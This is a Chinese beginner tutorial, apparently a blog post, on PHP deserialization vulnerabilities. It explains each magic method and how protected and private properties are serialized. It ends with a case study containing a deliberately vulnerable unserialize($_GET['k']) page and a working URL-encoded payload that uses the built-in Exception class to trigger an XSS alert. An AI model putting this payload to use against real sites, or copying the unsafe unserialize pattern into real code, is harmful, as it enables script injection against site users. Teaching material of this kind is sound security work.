PHP反序列化漏洞(入门)-魔术方法+原生类

魔术方法利用点分析演示:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法。

 

魔术方法:

__construct():      //构造函数,当对象new的时候会自动调用

__destruct():     //析构函数当对象被销毁时会被自动调用

__wakeup():         //unserialize()时会被自动调用

__invoke():           //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call():                //在对象上下文中调用不可访问的方法时触发

__callStatci():      //在静态上下文中调用不可访问的方法时触发

__get():                //用于从不可访问的属性读取数据

__set():                //用于将数据写入不可访问的属性

__isset():             //在不可访问的属性上调用isset()或empty()触发

__unset():           //在不可访问的属性上使用unset()时触发

__toString():       //把对象当作字符串使用时触发

__sleep():            //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

魔术方法功能演示:

__construct()魔术方法:

     实例化对象时被调用.其作用是拿来初始化一些值。

__destruct()魔术方法:

     当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。

实列化对象,主动销毁:

主动销毁执行顺序:先调用销毁方法在结束程序

自动销毁:

自动销毁执行顺序:先结束程序再调用销毁方法

__toString()魔术方法:在对象当做字符串的时候会被调用

把对象当作字符串输出

就会调用__toString()函数

__CALL ()魔术方法:

        调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

方法存在:

正常调用

方法不存在:

调用__call()函数

__get() 魔术方法:

       读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get()函数

属性存在:

返回属性值

属性不存在:

调用__get函数

__set()魔术方法:

    设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

属性存在:

直接赋值

属性不存在:

调用__set函数

__sleep()魔术方法:serialize之前被调用,可以指定要序列化的对象属性。

不使用序列化:

不会调用__sleep()

使用了序列化:

调用__sleep()函数

__wakeup()魔术方法:反序列化恢复对象之前调用该方法

使用了反序列化:

调用__wakeup()函数

__isset()魔术方法:

      检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

对不可访问属性(private私有属性)调用isset():

就会调用__isset()函数

对可被访问属性调用isset():

不会调用__isset()函数

__unset()魔术方法:

        在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

对象变量属性:

        public(公有的):在本类内部、外部类、子类都可以访问

        protect(受保护的):只有本类或子类或父类中可以访问

        private(私有的):只有本类内部可以使用

对三个属性使用unset():

只调用了两次__unset()因为有一次是可访问属性(public公有属性)

__invoke()魔术方法:将对象当做函数来使用时执行此方法,通常不推荐这样做。

把对象当作函数引用:

就会自动调用__invoke()函数

不同变量属性导致序列化数据显示不同:

private属性:序列化的时候格式是%00类名%00成员名

protect属性:序列化的时候格式是%00*%00成员名

 

 

public private protected序列化格式说明:

序列化格式

PHP原生类

     原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类

魔术方法的原生类

执行代码查看:

<?php

$classes = get_declared_classes();

foreach ($classes as $class) {

    $methods = get_class_methods($class);

    foreach ($methods as $method) {

        if (in_array($method, array(

            '__destruct',

            '__toString',

            '__wakeup',

            '__call',

            '__callStatic',

            '__get',

            '__set',

            '__isset',

            '__unset',

            '__invoke',

            '__set_state'

        ))) {

            print $class . '::' . $method . "\n";

        }

    }

}

案例:原生类实现xss弹窗

案例代码:

<?php

highlight_file(__file__);

$a = unserialize($_GET['k']);

echo $a;

?>

1.分析代码可知:$a对象被当作字符串输出。

因为__toString()魔术方法是在把对象当做字符串使用的时候会被调用,所以这里会触发__toString()魔术方法

但是因为代码里面没有__toString()魔术方法,所以可以考虑使用__toString()的原生类实现xss弹窗

2.执行查看原生类的代码,查看__toString()原生类

只查看__toString(),所以注释其他

执行查看

3.浏览器搜索:利用php原生类进行xss。

成功获取到构造代码:https://www.anquanke.com/post/id/264823#h3-8

代码:

<?php

$a=new Exception("<script>alert('xiaoheizi')</script>");

echo urlencode(serialize($a));

?>

4.利用浏览器php在线执行网站,执行代码获取poc

poc:

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22%3Cscript%3Ealert%28%27xiaoheizi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

5.案例页面传递参数值为poc,成功xss弹窗

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值